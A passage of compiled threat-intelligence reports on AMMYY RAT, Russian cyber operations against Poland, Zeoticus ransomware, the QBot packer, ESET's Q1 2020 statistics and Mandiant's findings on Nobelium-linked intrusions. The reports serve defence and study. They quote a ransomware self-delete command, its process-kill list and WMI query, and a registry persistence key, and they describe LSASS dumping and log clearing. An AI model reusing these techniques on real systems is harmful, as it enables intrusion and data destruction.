above-mentioned commands once again, registers the downloaded PE file as a service called `foundation`, and starts it. In the end, it deletes the original second stage PE file. If the user is not an admin, it uses a COM object (`taskscd.dll`) to create and run the executable (via scheduled task). For more detailed information, look at the `sub_402360` function. After that, the same happens: it deletes the original second stage PE file and exits via `TerminateProcess` call. That’s all. That was the brief overview of the AMMYY RAT Downloader. Thank you for your time.
# Russian Cyberattacks With the ongoing war in Ukraine, in the Polish cyberspace, there are more and more occurrences classified as computer incidents, including attacks perpetrated by Russian hackers. This is a response of the Russian Federation to Poland’s support provided to Ukraine and an attempt to destabilise the situation in our country. Since the beginning of the Russian invasion against Ukraine, Poland has been a constant target of the Kremlin’s hybrid actions, including attacks in cyberspace. Recently, this hostile activity has intensified. This is the consequence of our commitment to help Ukraine but also of the fact that Poland is strongly advocating in the international arena for providing help to Kyiv. Through hostile operations in cyberspace, Russia wants to exert pressure on Poland, as a frontline country and a key Ukraine’s ally on the NATO eastern flank. Both public administration domains and private companies, the media, and ordinary users become the target of hacker attacks. Entities from strategic sectors, such as energy or armaments, are particularly at risk. Some of these hostile campaigns can be linked directly to the activities of pro-Russian hacking groups. This was the case, for example, with the recent attack on the website of the Polish parliament (Sejm). The CSIRT GOV team operating in the Internal Security Agency (ABW) identified problems with the accessibility of the sejm.gov.pl website. Data analysis showed that the website's unavailability was the result of an attack carried out by the pro-Russian group NoName057(16). This group on the Telegram portal has set the parliamentary website as one of its goals. This attack was a response to the adoption by the Sejm of the Republic of Poland of a resolution recognizing Russia as a state sponsor of terrorism. Such incidents in cyberspace are retaliatory actions typical of Russia, which are a response to steps taken by other countries that are unfavorable and inconvenient for the Russian Federation. Hacker groups linked to the Kremlin use ransomware, DDoS, and phishing attacks, and the goal of hostile actions coincides with the goals of a hybrid attack: destabilization, intimidation, and sowing chaos. False structures are also used for aggressive actions, such as websites impersonating real websites. In the first days of December, the CSIRT GOV Team received information about the registration of a phishing website impersonating the website in the government domain gov.pl. The content of the fake website suggested that the President of the Republic of Poland signed a decree on compensation for Polish residents, financed from European funds. The "I'd like to know" link led through a phishing process and then redirected to a phishing payment card page under the guise of charging a verification fee to pay compensation. Thanks to the intervention of the Internal Security Agency, the website was blocked. This is a typical operation aimed at sowing chaos, undermining the state, but also collecting personal data and extorting money. Every attack in cyberspace pursues complex objectives and has various implications – social, political, or financial ones. More and more often, cyberattacks are used in order to spread Russian disinformation and serve Russian special services to gather data and vulnerable information. The operation that is carried out using both of these methods is the "GhostWriter" campaign. It consists of attacking email addresses and accounts in social media of public figures in the CEE countries, mainly in Poland. The authors of this campaign are trying to seize information resources for the purposes of Russian disinformation. In recent months, this operation has been focused on actions against Poland. Taking into consideration the increasing scale of threats, the Polish cyberspace is constantly monitored for potential dangerous incidents in order to react to them as fast as possible. At the same time, it is important to implement measures to prevent attacks. In Poland, the Prime Minister has also introduced the third security alert CHARLIE-CRP, which is related to cybersecurity and responds to growing threats in cyberspace.
# Zeoticus 2.0 | Ransomware With No C2 Required **Jim Walter** ## Overview Zeoticus ransomware first appeared for sale in various underground forums and markets in early 2020. Initially, the ransomware was offered as a complete custom build for an undisclosed fee. The ransomware is currently Windows-specific and, according to the developers, functions on all “supported versions of Windows.” Unusually, there are no connectivity requirements for the payloads to execute. Zeoticus ransomware will execute fully offline, with no dependence on a C2 (Command & Control). It is also worth noting that the malware is designed not to function in some regions, specifically Russia, Belarus, and Kyrgyzstan. Like many other families, use within the CIS is discouraged in order to avoid any backlash from regional government and law enforcement agencies. ## Zeoticus Development Since late 2020 and moving into early 2021, the vendor has continued to maintain and offer updates on the Zeoticus service. In December 2020, samples of Zeoticus 2.0 were observed and reported in the wild. Multiple researchers and security vendors began to take notice and analyze these updated samples. A recent public announcement includes updates on file extension-based identification and performance around the prioritization and encryption of extremely large files. Most of the updates in Zeoticus 2.0 are focused on speed and efficiency. Specific encryption algorithms (both symmetric and asymmetric) have been employed based on their speed (e.g., Poly1305 is used for signing the primary encryption key rather than something like SHA1). Other notable features include compatibility with “all lines of Windows OSs,” with some indications that the ransomware will even run on Windows XP and earlier. The ransomware also has the ability to discover and infect remote drives and to discover and terminate processes that could interfere with the encryption process. ## Execution and Persistence Upon execution, pertinent files are identified based on extension. The encryptable-extension list is fully customizable and in the control of the attacker. When launched, the malware makes a few copies of itself in the following locations: - C:\Windows - %AppData% Following this, Zeoticus proceeds to kill off a number of running processes (via taskkill.exe) as follows: - sqlagent.exe - sqlbrowser.exe - sqlservr.exe - sqlwriter.exe - oracle.exe - ocssd.exe - dbsnmp.exe - synctime.exe - mydesktopqos.exe - agntsvc.exe - isqlplussvc.exe - xfssvccon.exe - mydesktopservice.exe - ocautoupds.exe - encsvc.exe - firefoxconfig.exe - tbirdconfig.exe - ocomm.exe - mysqld.exe - mysqld-nt.exe - mysqld-opt.exe - dbeng50.exe - sqbcoreservice.exe - excel.exe - infopath.exe - msaccess.exe - mspub.exe - onenote.exe - outlook.exe - powerpnt.exe - sqlservr.exe - thebat64.exe - thunderbird.exe - winword.exe - Wordpad.exe Zeoticus utilizes the ping command to facilitate the deletion of its own binaries, redirecting the output of the command to >nul & del to achieve this. ``` /c ping localhost -n 3 > nul & del %s ``` The following WMI query is then issued to gather additional information about the local environment: ``` start iwbemservices::execquery - rootcimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where ( caption = "msftesql.exe" or caption = "sqlagent.exe" or caption = "sqlbrowser.exe" or caption = "sqlservr.exe" or caption = "sqlwriter.exe" or caption = "oracle.exe" or caption = "ocssd.exe" or caption = "dbsnmp.exe" or caption = "synctime.exe" or caption = "mydesktopqos.exe" or caption = "agntsvc.exe" or caption = "isqlplussvc.exe" or caption = "xfssvccon.exe" or caption = "mydesktopservice.exe" or caption = "ocautoupds.exe" or caption = "agntsvc.exe" or caption = "agntsvc.exe" or caption = "agntsvc.exe" or caption = "encsvc.exe" or caption = "firefoxconfig.exe" or caption = "tbirdconfig.exe" or caption = "ocomm.exe" or caption = "mysqld.exe" or caption = "mysqld-nt.exe" or caption = "mysqld-opt.exe" or caption = "dbeng50.exe" or caption = "sqbcoreservice.exe" or caption = "excel.exe" or caption = "infopath.exe" or caption = "msaccess.exe" or caption = "mspub.exe" or caption = "onenote.exe" or caption = "outlook.exe" or caption = "powerpnt.exe" or caption = "sqlservr.exe" or caption = "thebat64.exe" or caption = "thunderbird.exe" or caption = "winword.exe" or caption = "wordpad.exe") ``` All samples analyzed across Zeoticus 1.0 and 2.0 create the Registry Run key to achieve persistence: ``` REGISTRYUSER----SoftwareMicrosoftWindowsCurrentVersionRun ``` The registry entry (Run) is set to launch an instance of the Zeoticus payload from C:\Windows. ## Encryption and Ransom Note The ransomware uses a combination of asymmetric and symmetric encryption. XChaCha20 is utilized on the symmetric side, while the combination of Poly1305, XSalsa20, and Curve25519 is used for the asymmetric side. Encrypted files are modified with extensions that include the contact email address of the attacker(s) along with the string “2020END,” which is no doubt a reference to the new year. In parallel with the encryption of the host’s data, Zeoticus mounts a new volume which contains the ransom note. Victims are instructed to contact the attacker via email as opposed to using an onion-based payment portal or similar. Additionally, the ransomware will drop a copy of the ransom note to the root of the system drive (e.g., C:\WINDOWS\README.html). This is one of the more noticeable differences between Zeoticus 2.0 and 1.0. That is, in v1.0, the desktop wallpaper was actually altered with the victim instructions as opposed to mounting the new volume. ## Conclusion Attackers are continuing to improve upon their techniques and tactics. Active ransomware infections are getting increasingly difficult to control, contain, and mitigate. Prevention of these attacks is more important than ever given the difficulty of recovering from a catastrophic ransomware attack. We encourage all to review their security posture and take any necessary steps to improve their protections and reduce their overall exposure. Visibility and education go a long way here. A thorough and accurate understanding of the environment is key in prioritizing controls and reducing risk. It is also important to educate end users on the methods used by these attackers and encourage them to report any suspicious activity they observe. Finally, ensure that all technological controls are installed and implemented properly, and are up to date with the latest patches. ## IOCs **SHA256** - 33703e94572bca90070f00105c7008ed85d26610a7083de8f5760525bdc110a6 - 279d73e673463e42a1f37199a30b3deff6b201b8a7edf94f9d6fb5ce2f9f7f34 **SHA1** - 25082dee3a4bc00caf29e806d55ded5e080c05fa - d3449118b7ca870e6b9706f7e2e4e3b2d2764f7b ## MITRE ATT&CK - Data from Local System – T1005 - Credentials from Password Stores – T1555 - Modify Registry – T1112 - Query Registry – T1012 - Remote System Discovery – T1018 - System Information Discovery – T1082 - Peripheral Device Discovery – T1120 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder – T1547.001 - Data Encrypted for Impact – T1486
# An old enemy – Diving into QBot part 1 March 30, 2020 While checking out the Triage Sandbox, I stumbled across QBot which I’ve seen already plenty of times at work at GData Cyberdefense AG. This time I wanted to take a closer look at the sample myself. The first part of this blog article dives deep into how the packer works. ## Triage sandbox overview of the analysed sample ### Quick summary The packer used by this sample first allocates virtual memory and fills it with chunks of bytes from its .text section. After jumping into this allocated area, the address of GetProcAddress is determined by looping over the export table of KernelBase.dll. This function is then used to load further dependencies. Next, another temporary memory is allocated, filled with decrypted code, and replaces the code we started with. Finally, the sample jumps back to the now decrypted payload and executes it. ### 1 – Allocating VirtualAlloc The first step itself does not decrypt any code; however, it writes bytes in 0x64 chunks into virtual memory 2304 times (0x38400 / 0x64). The position of these chunks is calculated loop after loop and does not lie linear in the memory. ### 2 – Loading dependencies Once the virtual memory is allocated, we can dump the code and load it into IDA to analyse it. After returning the base address of KernelBase.dll, the offset to the GetProcAddress function is determined by iterating over the export table. Explaining this behaviour in pseudo code makes it clearer: ``` func = "GetProcAddress"; symbols = getSymbols() for symbol in symbols: if symbol == func: return getOffsetToFunc(symbol) ``` With GetProcAddress, the location of LoadLibrary is returned. By using these two functions, the packer is now able to write offsets of needed library functions into memory. ### 3 – Decrypt the code In the third step, the actual payload is being prepared. VirtualAlloc sets up another memory area which is used to hold decrypted code temporarily. After the decryption is finished, a fully unpacked PE file lies now in memory. The PE sections we started with are zeroed and replaced with the new decrypted sections. Some exported functions are still missing. In order to determine their position, the same trick is used which I already explained in the second step. This time though, different libraries are used. ### 4 – Returning to the payload All that is left now is to return to the unpacked sample via return instruction because the return address is still written onto the stack. ### 5 – IoCs Sample: c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4 SHA256: 8/8
# ESET Threat Report Q1 2020 ## Foreword Welcome to the first quarterly ESET Threat Report! The first quarter of 2020 was defined by the outbreak of COVID-19, now a pandemic that has put much of the world under lockdown, disrupting peoples’ lives in unprecedented ways. In the face of these developments, many businesses were forced to swiftly adopt work-from-home policies, thereby facing numerous new challenges. Soaring demand for remote access and videoconferencing applications attracted cybercriminals who quickly adjusted their attack strategies to profit from the shift. Cybercriminals also haven’t hesitated to exploit public concerns surrounding the pandemic. In March 2020, we saw a surge in scam and malware campaigns using the coronavirus pandemic as a lure, trying to capitalize on people’s fears and hunger for information. Even under lockdown, our analysts, detection engineers, and security specialists continued to keep a close eye on this quarter’s developments. Some threat types, such as cryptominers or Android malware, saw a decrease in detections compared with the previous quarter; others, such as web threats and stalkerware, were on the rise. Web threats, in particular, have seen the largest increase in terms of overall numbers of detections, a possible side effect of coronavirus lockdowns. ESET Research Labs also did not stop investigating threats. Q1 2020 saw them dissect obfuscation techniques in Stantinko’s new cryptomining module; detail the workings of advanced Brazil-targeting banking trojan Guildma; uncover new campaigns by the infamous Winnti Group and Turla; and uncover KrØØk, a previously unknown vulnerability affecting the encryption of over a billion Wi-Fi devices. Before lockdowns became the new normal, experts from ESET Research Labs were sharing their insights at security conferences and events around the world. In February, they unveiled the KrØØk vulnerability research and led a workshop for hunting Linux malware at RSA Conference 2020, and presented two talks at BlueHat IL. While seeing our researchers on stage might not be possible for a while, you can still follow their findings on our blog, WeLiveSecurity, and the ESETresearch Twitter feed. And, don’t forget, in these Threat Reports! Happy reading, stay safe — and healthy! Roman Kovác, Chief Research Officer ## Featured Story ### KrØØk: Serious vulnerability affected encryption of billion+ Wi-Fi devices ESET researchers discovered a previously unknown vulnerability in Wi-Fi chips and named it KrØØk. Assigned CVE-2019-15126, this serious flaw causes vulnerable devices to use an all-zero encryption key to encrypt part of the user’s communication. In a successful attack, this allows an adversary to decrypt some wireless network packets transmitted by a vulnerable device. KrØØk affects devices with Wi-Fi chips made by Broadcom and Cypress that haven’t yet been patched. These are the most common Wi-Fi chips used in contemporary Wi-Fi capable devices such as smartphones, tablets, laptops, and IoT gadgets. Both WPA2-Personal and WPA2-Enterprise protocols, with AES-CCMP encryption, are affected by this vulnerability. KrØØk is related to KRACK (Key Reinstallation Attacks), discovered in 2017 by Mathy Vanhoef, but also fundamentally different. In the beginning of our research, we found KrØØk to be one of the possible causes behind the “reinstallation” of an all-zero encryption key, observed in tests for KRACK attacks. We responsibly disclosed KrØØk to chip manufacturers Broadcom and Cypress, who subsequently released updates during an extended disclosure period. ## News from the Lab ### Stantinko botnet adds cryptomining to its pool of criminal activities ESET researchers discovered that the criminals behind the half-million-strong Stantinko botnet, known to have been active since at least 2012 and mainly targeting users in Russia, Ukraine, Belarus, and Kazakhstan, started distributing a Monero-mining module to the computers they control. Previously, the botnet performed click fraud, ad injection, social network fraud, and password stealing attacks. In their investigation into Stantinko’s new cryptomining module, ESET researchers discovered several obfuscation techniques intended to protect against detection and thwart analysis. Aiming to help the cybersecurity industry improve protection against sophisticated threats, ESET researchers shed light on the techniques and described a possible approach to deobfuscating some of them — most notably obfuscation of strings and control-flow obfuscation. ### Banking malware: Guildma: The Devil drives electric ESET researchers dissected Guildma, a highly prevalent, Brazil-targeting banking trojan notable for its innovative methods of execution, sophisticated attack techniques, as well as impact in the region. Besides targeting financial institutions, Guildma also attempts to steal credentials for email accounts, e-shops, and streaming services. Like many other Latin American banking trojans, Guildma implements a number of backdoor functions, abuses legitimate tools, and its functionality is split into many modules. It spreads via spam emails with malicious attachments and has affected at least ten times as many victims as other Latin American banking trojans analyzed by ESET. ### Winnti Group targeting universities in Hong Kong ESET researchers discovered a new campaign run by the Winnti Group against two Hong Kong universities. The researchers found a new variant of ShadowPad, the group’s flagship backdoor, deployed using a new launcher and embedding numerous modules. The Winnti malware was also found at these universities a few weeks prior to the ShadowPad backdoor. This campaign was taking place as widespread civic protests swept across Hong Kong, including the territory’s universities. In addition to the two confirmed compromised universities, ESET has indications that at least three additional universities may have been affected. The attackers were interested in stealing information from the victims’ machines. ### Turla: New backdoor delivered via watering hole on Armenian websites ESET researchers found a watering hole operation targeting several high-profile Armenian websites. It relied on a social engineering trick — a fake Adobe Flash update — as a lure to deliver two previously undocumented pieces of malware, dubbed NetFlash and PyFlash by the researchers. In this operation, Turla compromised at least four Armenian websites, including two belonging to the government. Thus, it is likely the targets included government officials and politicians. ESET notified the Armenian national CERT and shared the analysis with them before publication. ## Statistics & Trends ### Rate of malware detections in Q1 2020 The threat landscape in Q1 2020 as seen by ESET telemetry showed various malware detections, with notable trends in downloader activity, banking malware, ransomware, cryptominers, spyware, and backdoors. ### Top 10 malware detections in Q1 2020 - LNK/Agent trojan - HTML/Phishing.Agent trojan - VBA/TrojanDownloader.Agent trojan - Win/Exploit.CVE‑2017‑11882 trojan - Win/Bundpil worm - Win/Agent worm - Win/Phorpiex worm - Win/HackTool.Equation trojan - JS/Agent trojan - VBS/Agent worm ### Top 10 downloader families in Q1 2020 - VBA/TrojanDownloader.Agent - VBS/TrojanDownloader.Agent - DOC/TrojanDownloader.Agent - Win/TrojanDownloader.Agent - JS/TrojanDownloader.Agent - PowerShell/TrojanDownloader.Agent - Win/TrojanDownloader.Wauchos trojan - LNK/TrojanDownloader.Agent trojan - Win/TrojanDownloader.Agent virus ### Top 10 banking malware families in Q1 2020 - JS/Spy.Banker trojan - Win/Spy.Ursnif trojan - Win/TrickBot trojan - Win/TrojanDownloader.Banload trojan - Win/Spy.Zbot trojan - Win/Clip Banker trojan - JS/TrojanDownloader.Banload trojan - Win/Spy.Danabot trojan - Win/Spy.Banker trojan - Win/Tinba trojan ### Ransomware detection trend in Q4 2019-Q1 2020 Ransomware operators added doxing as their new go-to tactic, yet vowed to spare hospitals during the coronavirus pandemic. ESET detected an overall drop in ransomware activity in Q1 2020, with January 2020 seeing the most action despite a slow start after New Year’s Eve. ### Top 10 ransomware families in Q1 2020 - Win/Filecoder.WannaCry trojan - Win/Filecoder.Crysis trojan - Win/Filecoder.Sodinokibi trojan - Win/Filecoder.STOP trojan - Win/Filecoder.Phobos trojan - Win/Filecoder.GandCrab trojan - Win/Filecoder.CryptoWall trojan - Win/Filecoder.Locky trojan - Win/Filecoder.CryptProjectXXX trojan - Win/Filecoder.Cerber trojan ### Top 10 spyware families in Q1 2020 - Win/HoudRat trojan - Win/PSW.Fareit trojan - MSIL/Bladabindi trojan - Win/PSW.OnLineGames trojan - Win/Spy.Socelars trojan - Win/Spy.RTM trojan - Win/Spy.KeyLogger trojan - Win/Spy.Weecna trojan - MSIL/NanoCore backdoor - Win/Tofsee backdoor ### Top 10 backdoor families in Q1 2020 - Win/Vools backdoor - Win/VB backdoor - MSIL/NanoCore backdoor - Win/Tofsee backdoor - Java/Adwind backdoor - Win/Rescoms backdoor - PHP/Web Shell backdoor - Win/RanumBot backdoor - Win/Equation.Double Pulsar backdoor - Win/Glupteba backdoor ### Top Mac threat detections in Q1 2020 - OSX/Keygen PUA - OSX/GT32SupportGeeks PUA - OSX/Bundlore adware - OSX/Mackeeper PUA - OSX/Genieo adware ### Top 10 Android threat detections in Q1 2020 - Android/Hiddad trojan - Android/Agent trojan - Android/TrojanDropper.Agent trojan - Android/Autoins PUA - Android/SMSreg PUA - Android/HiddenApp trojan - Android/TrojanSMS.Agent trojan - Android/Inmob PUA - Android/AdDisplay.AirPush PUA - Android/AdDisplay.Toofan PUA ### Top 10 Android stalkerware families in Q1 2020 - Android/SafeTracker monitor - Android/Cerberus monitor - Android/Guardian monitor - Android/Androidlost monitor - Android/MobileTracker monitor - Android/Spyoo monitor - Android/TiFamily monitor - Android/SpyPhone monitor - Android/Mspy monitor - Android/Hoverwatch monitor ### Web threats Web threats increased in overall volume in Q1 2020 according to ESET telemetry, with the coronavirus pandemic frequently used as a lure. Compared to Q4 2019, the number of malicious and fraudulent websites blocked in Q1 2020 increased by 21%. ### Top 10 blocked Malware, Scam, and Phishing domains in Q1 2020 1. adobviewe[.]club 2. fingahvf[.]top 3. deloplen[.]com 4. runmewivel[.]com 5. webunstop[.]net 6. cozytech[.]biz 7. d3qjtdfpbrj6c.cloudfront[.]net 8. linkangood[.]com 9. videomore[.]club 10. hardyload[.]com ### Email threats Spam was “business as usual” in Q1 2020, with a slight peak in March 2020 and a wave of coronavirus-themed unsolicited emails. Almost a fifth of all unsolicited emails detected in Q1 came from the United States, followed by Poland, France, Japan, and Germany. ### Countries with highest volume of spam sent in Q1 2020 1. United States 2. Unknown 3. Poland 4. France 5. Japan 6. Germany 7. Russia 8. Lithuania 9. China 10. India ### Countries with highest share of spam in all emails sent in Q1 2020 1. Vietnam 2. Lithuania 3. Argentina 4. China 5. India 6. Brazil 7. Indonesia 8. Colombia 9. South Korea 10. France ## Conclusion The first quarter of 2020 has shown a significant shift in the threat landscape, with cybercriminals adapting their strategies to exploit the global pandemic. As remote work becomes the norm, the need for robust cybersecurity measures is more critical than ever. ESET continues to monitor these developments and provide insights to help protect users and organizations from emerging threats.
# Suspected Russian Activity Targeting Government and Business Entities Around the Globe **Blog** **Authors:** Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock **Date:** Dec 06, 2021 **Last updated:** Nov 29, 2022 ## Summary Mandiant continues to track multiple clusters of suspected Russian intrusion activity that have targeted business and government entities around the globe. Based on our assessment of these activities, we have identified two distinct clusters of activity, UNC3004 and UNC2652. We associate both groups with UNC2452, also referred to as Nobelium by Microsoft. Some of the tactics Mandiant has recently observed include: - Compromise of multiple technology solutions, services, and reseller companies since 2020. - Use of credentials likely obtained from an info-stealer malware campaign by a third-party actor to gain initial access to organizations. - Use of accounts with Application Impersonation privileges to harvest sensitive mail data since Q1 2021. - Use of both residential IP proxy services and newly provisioned geo-located infrastructure to communicate with compromised victims. - Use of novel TTPs to bypass security restrictions within environments, including the extraction of virtual machines to determine internal routing configurations. - Use of a new bespoke downloader we call CEELOADER. - Abuse of multi-factor authentication leveraging “push” notifications on smartphones. In most instances, post-compromise activity included theft of data relevant to Russian interests. In some instances, the data theft appears to be obtained primarily to create new routes to access other victim environments. The threat actors continue to innovate and identify new techniques and tradecraft to maintain persistent access to victim environments, hinder detection, and confuse attribution efforts. ## Initial Compromise ### Compromise of Cloud Services Providers Mandiant has identified multiple instances where the threat actor compromised service providers and used the privileged access and credentials belonging to these providers to compromise downstream customers. In at least one instance, the threat actor identified and compromised a local VPN account and made use of this VPN account to perform reconnaissance and gain further access to internal resources within the victim CSP’s environment, which ultimately led to the compromise of internal domain accounts. ### Access Obtained from Info-stealer Malware Campaign Mandiant identified a campaign where the threat actors gained access to the target organization’s Microsoft 365 environment using a stolen session token. Mandiant analyzed the workstations belonging to the end user and discovered that some systems had been infected with CRYPTBOT, an info-stealer malware, shortly before the stolen session token was generated. Mandiant observed that in some cases the user downloaded the malware after browsing to low reputation websites offering free, or “cracked”, software. Mandiant assesses with moderate confidence that the threat actor obtained the session token from the operators of the info-stealer malware. These tokens were used by the actor via public VPN providers to authenticate to the target’s Microsoft 365 environment. ### Abuse of Repeated MFA Push Notifications Mandiant has also observed the threat actor executing multiple authentication attempts in short succession against accounts secured with multi-factor authentication (MFA). In these cases, the threat actor had a valid username and password combination. Many MFA providers allow for users to accept a phone app push notification or to receive a phone call and press a key as a second factor. The threat actor took advantage of this and issued multiple MFA requests to the end user’s legitimate device until the user accepted the authentication, allowing the threat actor to eventually gain access to the account. ## Post Compromise Activity Via Cloud Solution Provider Compromise ### Establish Foothold In at least one case, the threat actor compromised a Microsoft Azure AD account within a Cloud Service Provider’s (CSP) tenant. The account held a specific Azure AD role that allowed it to use the Admin on Behalf Of (AOBO) feature. With AOBO, users with a specific role in the CSP tenant have Azure Role Based Access Control (RBAC) Owner access to Azure subscriptions in their customer’s tenants that were created through the reseller relationship. RBAC Owner access gives the role holder complete control over all resources within the Azure subscription. The threat actor leveraged the compromised CSP’s credentials and the AOBO feature to gain privileged access to Azure subscriptions used to host and manage downstream customer systems. The actor executed commands with NT AUTHORITY\SYSTEM privileges within Azure VMs using the Azure Run Command feature. ### Privilege Escalation Mandiant found evidence that the threat actor used RDP to pivot between systems that had limited internet access. The threat actor accessed numerous devices using RDP and executed several native Windows commands. On one device, the threat actors made use of the Windows Task Manager to dump the process memory belonging to LSASS. The threat actor also obtained the Azure AD Connect configuration, the associated AD service account, and the key material used to encrypt the service account credentials. The Azure AD Connect account is used to replicate the on-premise instance of Active Directory into Azure AD. In addition to this, the threat actor obtained the Active Directory Federation Services (ADFS) signing certificate and key material. This allowed the threat actor to forge a SAML token which could be used to bypass 2FA and conditional access policies to access Microsoft 365. The actor stopped Sysmon and Splunk logging on these devices and cleared Windows Event Logs. The threat actors leveraged compromised privileged accounts and used SMB, remote WMI, remote scheduled tasks registration, and PowerShell to execute commands within victim environments. The threat actor used the protocols mainly to perform reconnaissance, distribute BEACON around the network, as well as run native Windows commands for credential harvesting. ### Lateral Movement Between CSP and Downstream Clients CSPs have network filtering layers in place between their on-premises environment and downstream customer environments as an added security layer. Mandiant identified that the threat actor used the vSphere PowerCLI and custom PowerShell scripts configured to target the vCenter Web endpoint to export the virtual disk image of a specific networking device and copy it off the service provider’s infrastructure. To authenticate to vCenter, the threat actor used a stolen session cookie for a Privileged Access Management (PAM) account. Mandiant believes the threat actor was able to analyze this virtual machine and identify devices within the CSP’s network that were specifically allowed to communicate with targeted downstream customers. Using this knowledge, the actor compromised the authorized source jump hosts that circumvented the network security restrictions of the service provider and downstream victim network. The actor compromised a customer administration account from one of the administration jump hosts used for customer administration within the CSP’s environment. The actor then performed lateral movement through RDP and the stolen target credentials towards the victim customer network. In another case, the threat actor used Azure’s built-in Run Command feature to execute commands on numerous downstream devices. The threat actor used native Windows tools to perform initial reconnaissance, credential theft, and deploy Cobalt Strike BEACON to devices via PowerShell. The actor then used this BEACON implant to persistently install CEELOADER as a Scheduled Task that ran on login as SYSTEM on specific systems. CEELOADER is a downloader that decrypts a shellcode payload to execute in memory on the victim device. ## Data Collection Mandiant identified multiple attempts by the threat actor to dump the Active Directory database (ntds.dit) using the built-in ntdsutil.exe command. There was also evidence that the threat actor used Sysinternals ProcDump to dump the process memory of the LSASS process. In addition to this, Mandiant discovered that the threat actor had stolen the AD FS token signing certificate and the DKM key material. This would allow the threat actor to perform Golden SAML attacks and authenticate as any user into federated environments that used AD FS for authentication, such as Microsoft 365. The threat actors performed data theft through several PowerShell commands, uploading several sequential archive files ending with the .7z extension. The threat actor uploaded these files to a webserver they presumably controlled. Mandiant identified binaries that were configured to upload data to the Mega cloud storage provider. The threat actor deployed the tool in the %TEMP%\d folder as mt.exe and mtt.exe. Owing to several mistakes made by the threat actor, Mandiant was able to identify that the execution of the renamed tool failed. Upon investigation, it appears that the Megatools binary used by the threat actors fails to execute if renamed. Due to this, it is unclear whether the actor was able to successfully exfiltrate data to Mega using this method. Mandiant also observed the threat actor access a victim’s on-premises SharePoint server looking for sensitive technical documentation and credentials. The threat actor then used the gathered credentials to move laterally around the network. ### Application Impersonation Microsoft Exchange and Exchange Online provide an impersonation role (titled ApplicationImpersonation) that grants an account the ability to access another account’s mailbox and “act as” that mailbox owner. Mandiant identified that the threat actor was able to authenticate to an existing account that was previously granted the ApplicationImpersonation role; it is unclear how the actor obtained this initial access. Through this account, Mandiant witnessed the threat actor use impersonation to access multiple mailboxes belonging to users within the victim organization. The threat actor also created a new account within the Microsoft 365 environment which Mandiant deems was for backup access in the event of detection. ## Threat Actor Infrastructure ### Residential Internet Access In some campaigns, Mandiant identified that the threat actor was using residential IP address ranges to authenticate to victim environments. Mandiant believes that this access was obtained through residential and mobile IP address proxy providers. The providers proxy traffic through actual mobile devices such as phones and tablets by legitimately bundling a proxy application in return for free applications and/or services. The actor used these services to access mailboxes in victim Microsoft 365 tenants. By doing so, the source logon IP address belongs to a major Internet Service Provider that serves customers in the same country as the victim environment. These tactics showcase the complexity of the attacker's operations and are rarely seen executed by other threat actors. Accomplishing this can make it very difficult for investigators to differentiate between normal user activity and the threat actor's activity. ### Geo-located Azure Infrastructure In another campaign, the threat actor provisioned a system within Microsoft Azure that was within close proximity to a legitimate Azure-hosted system belonging to the CSP that they used to access their customer’s environment. This allowed the actor to establish geo-proximity with the victims, resulting in the recorded source IP address for the activity originating from within legitimate Azure IP ranges. Similar to the technique of using residential IP addresses, using Azure infrastructure within close proximity to victim networks makes it difficult for investigators to differentiate between normal user activity and the threat actor’s activity. ### Compromised WordPress Sites Hosting Second Stage Payloads In several campaigns by the actor, Mandiant and our partners identified that the actor was hosting second stage payloads as encrypted blobs on legitimate websites running WordPress. Mandiant observed at least two separate malware families attributed to the threat actor hosted on compromised WordPress sites. ### TOR, VPS and VPN Providers In multiple campaigns by the threat actor, Mandiant witnessed the actor use a mixture of TOR, Virtual Private Servers (VPS), and public Virtual Private Networks (VPN) to access victim environments. In a particular campaign, Mandiant identified that the threat actor performed initial reconnaissance via a VPS provider located in the same region as the victim. Mandiant believes a misconfiguration by the threat actor meant that the VPN services running on the VPS stopped functioning after 8 hours. Mandiant was then able to identify numerous TOR exit nodes that the threat actor used based on new authentication events. ## Operational Security and Planning Mandiant identified attempts to compromise multiple accounts within an environment and kept use of each account separated by function. This reduced the likelihood that detecting one activity could expose the entire scope of the intrusion. Mandiant found evidence that the actor compromised multiple accounts and used one for the sole purpose of reconnaissance, while the others were reserved for lateral movement within the organization. Mandiant previously observed this threat actor using strict operational security to use specific accounts and systems in victim environments for activities that are often higher risk, such as data theft and large-scale reconnaissance. Once within an environment, the threat actor was able to quickly pivot to on-premises servers and crawl these servers for technical documentation and credentials. From this documentation, the actor was able to identify a route to gain access to their ultimate target’s network. This reconnaissance shows that the threat actor had a clear end goal in mind and was able to identify and exploit an opportunity to obtain required intelligence to further their goals. Mandiant also observed efforts to avoid detection by circumventing or deleting system logging within the victim’s environment. Namely, Mandiant identified the threat actor disabling SysInternals Sysmon and Splunk Forwarders on victim machines that they accessed via Microsoft Remote Desktop in addition to clearing Windows Event Logs. ## Malware Descriptions **Cobalt Strike BEACON:** Backdoor written in C/C++ that is part of the Cobalt Strike framework. Supported backdoor commands include shell command execution, file transfer, file execution, and file management. BEACON can also capture keystrokes and screenshots as well as act as a proxy server. BEACON may also be tasked with harvesting system credentials, port scanning, and enumerating systems on a network. BEACON communicates with a command and control (C2) server via HTTP(S) or DNS. **CEELOADER:** Downloader written in C programming language. It supports shellcode payloads that are executed in memory. An obfuscation tool has been used to hide the code in CEELOADER in between large blocks of junk code with meaningless calls to the Windows API. The meaningful calls to the Windows API are hidden within obfuscated wrapper functions that decrypt the name of the API and dynamically resolve it before calling. CEELOADER communicates via HTTP and the C2 response is decrypted using AES-256 in CBC mode. Additionally, the HTTP request contains a statically defined id that may vary from sample to sample. CEELOADER does not contain a persistence mechanism. ## Attribution Mandiant assesses that some of this activity is UNC2652, a cluster of activity observed targeting diplomatic entities with phishing emails containing HTML attachments with malicious JavaScript, ultimately dropping a BEACON launcher. Mandiant also assesses that some of this activity is UNC3004, a cluster of activity observed targeting both government and business entities through gaining access to Cloud Solution Providers/Managed Service Providers to gain access to downstream customers. Microsoft has previously reported on both UNC2652 and UNC3004 activity and links it to UNC2452, the group behind the SolarWinds compromise, under the name “Nobelium”. While it is plausible that they are the same group, currently, Mandiant does not have enough evidence to make this determination with high confidence. ## Outlook and Implications This intrusion activity reflects a well-resourced threat actor set operating with a high level of concern for operational security. The abuse of a third party, in this case a CSP, can facilitate access to a wide scope of potential victims through a single compromise. 